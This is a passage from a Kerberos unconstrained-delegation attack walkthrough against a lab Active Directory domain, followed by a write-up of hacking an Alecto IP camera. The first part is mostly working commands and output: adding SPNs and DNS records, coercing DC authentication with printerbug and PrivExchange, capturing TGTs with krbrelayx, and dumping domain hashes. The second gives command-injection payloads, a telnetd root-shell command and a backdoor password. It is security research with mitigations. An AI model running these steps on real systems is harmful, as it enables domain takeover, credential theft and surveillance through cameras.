[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found record attacker
DC=attacker,DC=internal.corp,CN=MicrosoftDNS,DC=DomainDnsZones,DC=internal,DC=corp
[+] Record entry:
 - Type: 1 (A) (Serial: 36)
 - Address: 10.1.1.2

And the record resolves after the DNS server refreshes the records from LDAP (which by default takes place every 180 seconds):

user@localhost:~/adtools$ nslookup attacker.internal.corp 192.168.111.2
Server:		192.168.111.2
Address:	192.168.111.2#53

Name:	attacker.internal.corp
Address: 10.1.1.2

The dnstool.py utility has several other options, including one to remove records again after exploitation, which I won’t go into in this post, but you can get the tool on GitHub. If modifying DNS does not work or the network you are in does not use AD for DNS, it is always possible to perform network attacks to take over the DNS server, though this often requires you to be in the same VLAN as the system. A way which should always work is modifying the compromised computers own DNS record, but this is almost a guarantee to break stuff and might take a while to propagate because of DNS caching.

Obtaining traffic

There are a multitude of ways now to obtain traffic from users to the attackers host. Any technique on the internet discussing NTLM authentication gathering techniques will work for getting users to authenticate to your rogue SMB or HTTP server. Some options are:

  • Phishing sites with a UNC path or redirect
  • Using responderInveigh or metasploit to reply to LLMNR/NBNS requests
  • Using mitm6 for DNS hijacking
  • Placing files with an icon linking to a UNC path on a popular file share within the network
  • Etc

Two very effective to obtain Domain Admin (equivalent) privileges via unconstrained delegation at the point of writing of this blog is to abuse bugs that require only regular user credentials to make a high value target connect to you. At this point, two important example are known:

  • SpoolService bug: There is a Remote Procedure Call part of the MS-RPRN protocol which causes remote computers to authenticate to arbitrary hosts via SMB. This was discovered by Lee Christensen aka @tifkin_ and called the “printer bug”. Harmj0y recently did a writeup on abusing this bug as well to perform unconstrained delegation attacks over forest trusts in his blog. The MS-RPRN protocol was also implemented in impacket by @agsolino, and of course I couldn’t resist writing a small utility for it as part of the krbrelayx toolkit, called printerbug.py, which triggers the backconnect.
  • PrivExchange: The Exchange Web Services (EWS) SOAP API exposes a method that subscribes to push notifications. This method can be called by any user with a mailbox and will make Exchange connect to any host we specify via HTTP. When requested, Exchange will (unless it is patched with the latest CU) authenticate with the computer account of the system Exchange is running on. This computer account has high privileges in the domain by default. I wrote about this in my previous blogand the privexchange.py tool is available here. Apart from NTLM relaying this authentication to LDAP, we can also use unconstrained delegation to obtain Exchange’s TGT and use that to perform an ACL based privilege escalation.

Use case 1: Gaining DC Sync privileges using a computer account and the SpoolService bug

In the first case we will abuse the unconstrained delegation privileges of a computer account in my internal.corp lab domain. We have obtained administrative privileges on this host by compromising the user testuser, which is a member of the Administrators group on this host. We will follow the steps outlined above, and first obtain the Kerberos keys and NTLM hashes:

user@localhost:~$ secretsdump.py testuser@icorp-w10.internal.corp
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

Password:
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x38f3153a77837cf2c5d04b049727a771
...cut...
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
ICORP\ICORP-W10$:aes256-cts-hmac-sha1-96:9ff86898afa70f5f7b9f2bf16320cb38edb2639409e1bc441ac417fac1fed5ab
ICORP\ICORP-W10$:aes128-cts-hmac-sha1-96:a6e34ed07f7bffba151fedee4d6640fd
ICORP\ICORP-W10$:des-cbc-md5:91abd073c7a8e534
ICORP\ICORP-W10$:aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6:::

Now we add the SPN. We use the NTLM hash that we just dumped to authenticate as the machine account, which can modify it’s own SPN, but only via the msDS-AdditionalDnsHostName property as discussed earlier. We will use the addspn.py utility to add the SPN HOST/attacker.internal.corp to the computer account (which is used for SMB).

user@localhost:~/krbrelayx$ python addspn.py -u icorp\\icorp-w10\$ -p aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 -s HOST/attacker.internal.corp -q icorp-dc.internal.corp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
DN: CN=ICORP-W10,CN=Computers,DC=internal,DC=corp - STATUS: Read - READ TIME: 2019-01-09T21:55:23.923810
    dNSHostName: ICORP-W10.internal.corp
    sAMAccountName: ICORP-W10$
    servicePrincipalName: RestrictedKrbHost/ICORP-W10
                          HOST/ICORP-W10
                          RestrictedKrbHost/ICORP-W10.internal.corp
                          HOST/ICORP-W10.internal.corp

user@localhost:~/krbrelayx$ python addspn.py -u icorp\\icorp-w10\$ -p aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 -s HOST/attacker.internal.corp icorp-dc.internal.corp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[!] Could not modify object, the server reports a constrained violation
[!] You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs matching the hostname)
[!] To add any SPN in the current domain, use --additional to add the SPN via the msDS-AdditionalDnsHostName attribute
user@localhost:~/krbrelayx$ python addspn.py -u icorp\\icorp-w10\$ -p aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 -s HOST/attacker.internal.corp icorp-dc.internal.corp --additional
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

The SPN for attacker.internal.corp now exists on the victim account, but the DNS entry for it does not yet exist. We use the dnstool.py utility to add the record, pointing to the attacker IP:

user@localhost:~/krbrelayx$ python dnstool.py -u icorp\\icorp-w10\$ -p aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 -r attacker.internal.corp -d 192.168.111.87 --action add icorp-dc.internal.corp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
user@localhost:~/krbrelayx$ nslookup attacker.internal.corp 192.168.111.2
Server:		192.168.111.2
Address:	192.168.111.2#53

Name:	attacker.internal.corp
Address: 192.168.111.87

Now we get the Domain Controller to authenticate to us via the printer bug, while we start krbrelayx in export mode, in which all extracted TGTs will be saved to disk. We provide the AES256 key to krbrelayx, since this key will be used by default for computer accounts.

user@localhost:~/krbrelayx$ python printerbug.py -hashes aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 internal.corp/icorp-w10\$@icorp-dc.internal.corp attacker.internal.corp
[*] Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

[*] Attempting to trigger authentication via rprn RPC at icorp-dc.internal.corp
[*] Bind OK
[*] Got handle
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Triggered RPC backconnect, this may or may not have worked

krbrelayx on a different screen:

user@localhost:~/krbrelayx$ sudo python krbrelayx.py -aesKey 9ff86898afa70f5f7b9f2bf16320cb38edb2639409e1bc441ac417fac1fed5ab
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Running in export mode (all tickets will be saved to disk)
[*] Setting up SMB Server

[*] Setting up HTTP Server
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.111.2
[*] Got ticket for ICORP-DC$@INTERNAL.CORP [krbtgt@INTERNAL.CORP]
[*] Saving ticket in ICORP-DC$@INTERNAL.CORP_krbtgt@INTERNAL.CORP.ccache
[*] SMBD: Received connection from 192.168.111.2

This gives us a TGT of the domain controller account, which has DC Sync privileges in the domain, meaning we can extract the hashes of all the accounts in the directory.

user@localhost:~/krbrelayx$ export KRB5CCNAME=ICORP-DC\$@INTERNAL.CORP_krbtgt@INTERNAL.CORP.ccache
user@localhost:~/krbrelayx$ secretsdump.py -k icorp-dc.internal.corp -just-dc
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a39494027fd39934e08a713c999e8cf3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:33168b759a89c059815d7aea5c27a3d9:::
...etc...

Use case 2: Abusing a service account and PrivExchange

The previous use case used a computer account and an SMB connection to obtain the TGT of a DC. While the above described method is the only way to perform this attack without executing code on the compromised host (all data is obtained via RPC calls, and the DC only connects to the attacker machine), usually it would be easier to trigger an SMB connection to the compromised host, dump LSASS memory and/or use Mimikatz or Rubeus to extract the TGTs from memory. This would not require modifying DNS records and SPNs. In the next case we will be using a user account (that is used as a service account) instead of a computer account. This is more complex or even impossible to exploit without modifying information in AD. If the user account is for example used for an MSSQL service, it would only be possible to extract the TGT from LSASS if we could somehow convince a victim to connect to the MSSQL service and also have Administrative access to the server to run the code that extracts the tickets from memory. By adding an extra SPN to the user account we can use existing tools such as the SpoolService bug or PrivExchange to exploit this via HTTP or SMB, without the need to touch the host on which this service is running at all.

This requires two things:

  • The password of the service account
  • Delegated control over the service account object

The password for the service account could have been previously obtained using a Kerberoast or password spraying attack. Delegated control over the account is required to add an SPN to the account, this control could be present because the service account is part of an Organisational Unit over which control was delegated to a sysadmin, or because we compromised an account in a high privilege group, such as Account Operators.

In this scenario we have control over a helpdesk user, which has been delegated the rights to manage users in the Service Accounts OU. We also discovered that the service account sqlserv has the weak password Internal01 set. This service account only has an SPN for the MSSQL service running on database.internal.corp. Since we want to escalate privileges via Exchange with PrivExchange, which connects over HTTP, we add a new SPN using this account for http/evil.internal.corp:

user@localhost:~/krbrelayx$ python addspn.py -u icorp\\helpdesk -p Welkom01 -t sqlserv -s http/evil.internal.corp -q icorp-dc.internal.corp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
DN: CN=sqlserv,OU=Service Accounts,DC=internal,DC=corp - STATUS: Read - READ TIME: 2019-01-27T15:26:16.580450
    sAMAccountName: sqlserv
    servicePrincipalName: MSSQL/database.internal.corp
user@localhost:~/krbrelayx$ python addspn.py -u icorp\\helpdesk -p Welkom01 -t sqlserv -s http/evil.internal.corp icorp-dc.internal.corp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

As with the previous attack we add a DNS record to point to our attackers IP:

user@localhost:~/krbrelayx$ python dnstool.py -u icorp\\helpdesk -p Welkom01 -r evil.internal.corp -d 192.168.111.87 --action add icorp-dc.internal.corp 
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Now we can start krbrelayx.py. Since we are working with a user account, by default tickets will be encrypted with RC4, so we need to calculate the NTLM hash of the password in order to decrypt them (we don’t need to bother with a Kerberos salt here because RC4 doesn’t use one).

import hashlib
print(hashlib.new('md4', 'Internal01'.encode('utf-16le')).hexdigest())

This hash we can pass to krbrelayx.py and we can start the server. This time instead of exporting the ticket we use it directly to connect to LDAP and grant our helpdesk user DCSync privileges using the -t ldap://icorp-dc.internal.corp flag. We run privexchange.py and krbrelayx.py at the same time:

user@localhost:~/privexchange$ python privexchange.py -u helpdesk -p Welkom01 -ah evil.internal.corp exchange.internal.corp -d internal.corp
INFO: Using attacker URL: http://evil.internal.corp/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful

And see the attack doing it’s work in a very similar way to ntlmrelayx:

user@localhost:~/krbrelayx$ sudo python krbrelayx.py -hashes aad3b435b51404eeaad3b435b51404ee:d3026ba6ef6215da295175934b3d0e09 -t ldap://icorp-dc.internal.corp --escalate-user helpdesk
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client SMB loaded..
[*] Running in attack mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections
[*] HTTPD: Received connection from 192.168.111.56, prompting for authentication
[*] HTTPD: Client requested path: /privexchange/
[*] HTTPD: Received connection from 192.168.111.56, prompting for authentication
[*] HTTPD: Client requested path: /privexchange/
[*] Got ticket for EXCHANGE$@INTERNAL.CORP [krbtgt@INTERNAL.CORP]
[*] Saving ticket in EXCHANGE$@INTERNAL.CORP_krbtgt@INTERNAL.CORP.ccache
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] User privileges found: Create user
[*] User privileges found: Modifying domain ACL
[*] Querying domain security descriptor
[*] Success! User helpdesk now has Replication-Get-Changes-All privileges on the domain
[*] Try using DCSync with secretsdump.py and this user :)
[*] Saved restore state to aclpwn-20190210-132437.restore

The advantage (for an attacker) of this is that this uses Kerberos functionality instead of NTLM relaying, and thus mitigations against NTLM relaying do not apply (but it does require much higher privileges to perform). We could also have avoided calculating the Kerberos hashes manually and specified those on the commandline with the correct salt, which makes krbrelayx calculate all the keys by itself:

python krbrelayx.py --krbpass Internal01 --krbsalt INTERNAL.CORPsqlserv -t ldap://icorp-dc.internal.corp --escalate-user helpdesk

Technical details — Unconstrained delegation flow

The previous paragraphs show us how we can abuse unconstrained delegatation, but we haven’t yet touched on how it all works under the hood. Let’s have a look at how a Windows 10 client uses Kerberos with unconstrained delegation. Some write-ups mention that whenever the Windows 10 client requests a service ticket to a host with unconstrained delegation, this ticket automatically includes a delegated version of a TGT. This is not how it actually works. Let’s look at what happens over the wire when a host authenticates to our attacker service.

When our user (testuser) logs in on the workstation, a TGT is requested from the DC (the KDC in this case). This is visible via two AS-REQs, the initial one which requests the TGT without any kind of information, and a second one in which preauthentication information is included.

Kerberos TGT request

In the reply to the first AS-REQ, we see that the server replies with the correct salt that should be used in case of AES key deriviation from the password:

Kerberos salt information

Now we make the client connect to our malicious SMB server hosted using krbrelayx. In the traffic we see two requests for a service ticket (TGS-REQ), and after some SMB traffic in which the Kerberos authentication is performed.

Kerberos TGS requests

Let’s take a closer look at these TGS requests. The first one is as expected, a service ticket is requested for the cifs/attacker.internal.corp SPN which we added to our account previously.

Kerberos request for service ticket

The second one however is interesting. This time the server requests a service ticket not for the service it is connecting to, but for the krbtgt/internal.corp SPN. This is similar to an AS-REQ request, in which this SPN is also used, but now it’s used in a TGS-REQ structure using the TGT with an authenticator. The second interesting part are the flags, especially the forwarded flag. This flag is used to request a TGT which can be used for delegation and will later be sent to the attacker’s rogue service.

Kerberos request for delegation ticket

How does Windows know whether it should request a forwarded TGT and send this to a server when authenticating? The encrypted ticket part has a ‘flags’ field, in which the ticket options are specified. RFC4120 defines an OK-AS-DELEGATE flag, which specifies that the target server is trusted for unconstrained delegation. Some changes made to getST.py from impacket show us that this flag is indeed set, it is easier however to just list the tickets in Windows with klist:

Service ticket with ok-as-delegate flag set

This command also shows us the forwarded TGT that will be sent to the attacker:

TGT with forwarded flag set

The attackers view

From the attackers perspective, we have set up krbrelayx and it is listening on port 445 and 80 to accept SMB and HTTP connections. When the victim connects to us (for which examples to trigger this are given above), they will authenticate with Kerberos if we request this. Unlike with NTLM authentication, which requires multiple messages back and forth, a client will directly send their Kerberos ticket upon authenticating. In both SMB and HTTP the GSS-API and SPNEGO protocols are used to wrap Kerberos authentication.

Whoever designed these protocols thought it would be a great idea to not only use ASN.1, but to mix ASN.1 with some custom binary constants in one structure (and to let part of that structure depend on the constant). This makes it pretty unusable with any standard ASN.1 library. Fortunately I did find some ways to hack around this, which is already an improvement on having to write your own ASN.1 parser.

Whywouldyoudothis

Once we reliably parsed the structure, we can see the AP_REQ message containing a Kerberos ticket and an authenticator. These are both important in Kerberos authentication:

  • The ticket is encrypted with the password of “our” service. It contains information that identifies the user who is authenticating, as well as an encrypted session key. This ticket is also used for authorization, since it contains a PAC with the groups the user is a member of.
  • The authenticator is an structure encrypted with the session key. It proves the client is in posession of this key and is used to authenticate the client.

When you see this in Wireshark, it is easy to notice the difference between a regular Kerberos AP_REQpacket and one where a TGT is sent along with it (unconstrained delegation). A regular AP_REQ packet will contain an encrypted ticket, which is the largest substructure in the AP_REQ structure. In the case of my test domain, the ticket is 1180 bytes. If unconstrained delegation is used, the largest substructure in the AP_REQis the authenticator, which contains the delegated TGT from the user. In my domain this is 1832 bytes. An authenticator that doesn’t contain a TGT is usually much smaller, around 400 bytes.

Using the previously calculated Kerberos keys, we decrypt the ticket and get the following structure:

EncTicketPart:
 flags=1084555264
 key=EncryptionKey:
  keytype=23
  keyvalue=0xbd88d929fc420e8b840f3e4bcd9346b6
 crealm=INTERNAL.CORP
 cname=PrincipalName:
  name-type=1
  name-string=SequenceOf:
   testuser
 transited=TransitedEncoding:
  tr-type=1
  contents=
 authtime=20190216190927Z
 starttime=20190216190927Z
 endtime=20190217050927Z
 renew-till=20190223190927Z
 authorization-data=AuthorizationData:
  Sequence:
   ad-type=1
   ad-data=0x308202e230...e8bd0fb67130
  Sequence:
   ad-type=1
   ad-data=0x305d303fa0...6517b0000000000

Contained within are the ticket validity, the username of the ticket, some Authorization Data (which includes the user PAC), and an Encryption key. This Encryption key is the session key, with which we can decrypt the authenticator of the AP_REQ:

Authenticator:
 authenticator-vno=5
 crealm=INTERNAL.CORP
 cname=PrincipalName:
  name-type=1
  name-string=SequenceOf:
   testuser
 cksum=Checksum:
  cksumtype=32771
  checksum=0x100000000...a3997
 cusec=84
 ctime=20190216192428Z
 subkey=EncryptionKey:
  keytype=23
  keyvalue=0x2b340c020be62cbd6284fd2977c5e303
 seq-number=1035294623
 authorization-data=AuthorizationData:
  Sequence:
   ad-type=1
   ad-data=0x3081...005000

Here we see again the user that authenticated, another encryption key (subkey), more authorization data, and a checksum (which I’ve cut short). The checksum is the interesting part. If it’s value is equal to 32771 (or 0x8003) it means that it is a KRBv5 checksum, which is a special structure defined in RFC4121 section 4.1.1 (apparently the authors of the RFC were also tired of ASN.1, introducing another custom format for transferring binary data).

Within this checksum field, (if the correct flags are set), we can find a KRB_CRED structure (back to ASN.1!) which contains the delegated TGT.

KRB_CRED:
 pvno=5
 msg-type=22
 tickets=SequenceOf:
  Ticket:
   tkt-vno=5
   realm=INTERNAL.CORP
   sname=PrincipalName:
    name-type=2
    name-string=SequenceOf:
     krbtgt     INTERNAL.CORP
   enc-part=EncryptedData:
    etype=18
    kvno=2
    cipher=0xe70d38ec...c2ec0e
 enc-part=EncryptedData:
  etype=23
  cipher=0xdea2c107a...850ba2a285

There is one more step separating us from obtaining our TGT, which is decrypting the enc-part. This encrypted part of the KRB_CRED structure contains the ticket information, including the session key associated with the delegated TGT, which we need to request service tickets at the DC. After decryption, the tickets are saved to disk, either in ccache format, which is used by impacket, or in kirbi format (which is the name used by Mimikatz for KRB_CRED structured files). The delegated TGT can now be used by other tools to authenticate to any system in the domain.

If this wasn’t detailled enough for you yet, all the steps described in this section are outlined in the kerberos.py file of krbrelayx. If you uncomment the print statements at various stages you can view the full structures.

Mitigations and detection

The most straightforward mitigation is to avoid using unconstrained delegation wherever possible. Constrained delegation is much safer and while it can be abused as well, constrained delegation only allows for authentication to services which you explicitly specify, making it possible to make a risk analysis for individual services. Unconstrained delegation makes this depend on whichever user connects to the service, which then has their credentials exposed. If running accounts with unconstrained delegation rights cannot be avoided, the following mitigations can be applied:

  • Make sure to guard the systems that have these privileges as sensitive assets from which domain compromise is likely possible.
  • Protect sensitive accounts by enabling the option “Account is sensitive and cannot be delegated” option.
  • Place administrative accounts in the “Protected Users” group, which will prevent their credentials from being delegated.
  • Make sure that administrative accounts perform their actions from up-to-date workstations with Credential Guard enabled, which will prevent credential delegation.

Regarding detection, Roberto Rodriguez from Specterops wrote an article a while back about the exact events involved with unconstrained delegation which allow detection of unconstrained delegation abuse.

Tooling

The tools are available on my GitHub: https://github.com/dirkjanm/krbrelayx Please read the README for install instructions and TODO items/limitations!

Achieving remote code execution on a Chinese IP camera

Original text by Maurits van Altvorst

Background

Cheap Chinese Internet of Things devices are on the rise. Unfortunately, security on these devices is often an afterthought. I recently got my hands on an “Alecto DVC-155IP” IP camera. It has Wi-Fi, night vision, two-axis tilt and yaw control, motion sensing and more. My expectations regarding security were low, but this camera was still able to surprise me.

The Alecto DVC-155IP

Setting up the camera

Setting up the camera using the app was a breeze. I had to enter my Wi-Fi details, a name for the camera and a password. Nothing too interesting so far.

Using Nmap on the camera gave me the following results:

➜  ~ nmap -A 192.168.178.59
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-09 12:59 CET
Nmap scan report for 192.168.178.59
Host is up (0.010s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
23/tcp  open  telnet  BusyBox telnetd
80/tcp  open  http    thttpd 2.25b 29dec2003
|_http-server-header: thttpd/2.25b 29dec2003
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
554/tcp open  rtsp    HiLinux IP camera rtspd V100R003 (VodServer 1.0.0)
|_rtsp-methods: OPTIONS, DESCRIBE, SETUP, TEARDOWN, PLAY
Service Info: Host: RT-IPC; Device: webcam

Three open ports: 23, 80 and 554. Surprisingly, port 23 doesn’t get mentioned anywhere in the manual. Is this some debug port from the manufacturer, or a backdoor from the Chinese government? After manually testing a few passwords via telnet I moved on.

When I connected to the admin panel — accessible on port 80 — I was greeted with a standard login screen that prompts the user for a username and password.

The first step I took was opening the Chrome developer tab. This allows you to inspect the network requests that Chrome made while visiting a website. I saw that there were a lot of requests being made for a simple login page.

The Chrome developer tab

My eye quickly fell on a specific request: /cgi-bin/hi3510/snap.cgi?&-getstream&-chn=2Hmm, “getstream”, I wonder what happens if I open this in another tab…

An unauthenticated live view of the camera

Within 2 minutes I’ve gained unauthenticated access to the live view of the camera. I knew that cheap Chinese cameras weren’t secure, but I didn’t expect it was this bad.

Other observations

While looking through the network requests, I noticed some more notable endpoints:

  • You are able to get the Wi-Fi SSID, BSSID, and password from the network the camera is connected to by visiting /cgi-bin/getwifiattr.cgi. This allows you to retrieve the location of the camera via a service such as wigle.net.
  • You are able to set the camera’s internal time via/cgi-bin/hi3510/setservertime.cgi?-time=YYYY.MM.DD.HH.MM.SS&-utc. I’m not sure if this opens up any attack vectors, but it’s interesting nonetheless. It might be possible to do some interesting things by sending invalid times or big strings, but I don’t want to risk bricking my camera testing this.
  • You are able to get the camera’s password via /cgi-bin/p2p.cgi?cmd=p2p.cgi&-action=get. Of course, you don’t even need the password to log in. Just set the “AuthLevel” cookie to 255 and you instantly get admin access.
  • You are able to get the serial number, hardware revision, uptime, and storage info via /web/cgi-bin/hi3510/param.cgi?cmd=getserverinfo

All of these requests are unauthenticated.

Remote code execution

Let’s take another look at the requests made on the login page. You can see a lot of “.cgi” requests. CGI-files are “Common Gateway Interface” files. They are executable scripts used in web servers to dynamically create web pages. Because they’re often based on bash scripts, I started focusing on these requests first because I thought I might find an endpoint susceptible to bash code injection.

To find out if a .cgi endpoint was vulnerable, I tried substituting some request parameters with $(sleep 3). When I tried /cgi-bin/p2p.cgi?cmd=p2p.cgi&-action=$(sleep 3), it took a suspiciously long time before I got back my response. To confirm that I can execute bash code, I opened Wireshark on my laptop and sent the following payload to the camera:

$(ping -c2 192.168.178.243)

And sure enough, I saw two ICMP requests appear on my laptop.

Two ping requests in Wireshark

But surely, nobody in their right mind would connect such a cheap, insecure IP camera directly to the internet, right?

Vulnerable IP cameras via shodan.io

That’s 710 Alecto DVC-155IP cameras connected to the internet that disclose their Wi-Fi details (which means that I can figure out its location by using a service such aswigle.net), allow anyone to view their live stream and are vulnerable to RCE. And this is just their DVC-155IP model, Alecto manufactures many different IP cameras each running the same software.

Returning to port 23

Now that I’m able to run commands, it’s time to return to the mysterious port 23. Unfortunately, I’m not able to get any output from the commands I execute. Using netcat to send the output of the commands I executed also didn’t work for some reason.

After spending way too much time without progress, this was the command that did the trick:

telnetd -l/bin/sh -p9999

This starts a telnet server on port 9999. And sure enough, after connecting to it I was greeted with an unauthenticated root shell.

Reading /etc/passwd gave me the following output:

root:$1$xFoO/s3I$zRQPwLG2yX1biU31a2wxN/:0:0::/root:/bin/sh

I didn’t even have to start Hashcat for this one: a quick Google search of the hash was all I needed to find that the password of the mysterious backdoor port was cat1029.

Yes, the password to probably thousands of IP cameras on the internet is cat1029. And the worst part is that there’s no possible way to change this password anywhere in the typical user interface.

Contacting the manufacturer

When I contacted Alecto with my findings, they told me they weren’t able to solve these problems because they didn’t create the software for their devices. After a quick Shodan search I found that there were also internet connected cameras from other brands, such as Foscam and DIGITUS, that had these vulnerabilities. Their user interfaces look different, but they were susceptible to the same exact vulnerabilities via the same exact endpoints.

It seems that these IP cameras are manufactured by a Chinese company in bulk (OEM). Other companies like Alecto, Foscam, and DIGITUS, resell them with slightly modified firmware and custom branding. A vulnerability in the Chinese manufacturer’s software means that all of its children companies are vulnerable too. Unfortunately, I don’t think that the Chinese OEM manufacturer will do much about these vulnerabilities. I guess that the phrase “The S in IoT stands for security” is true after all.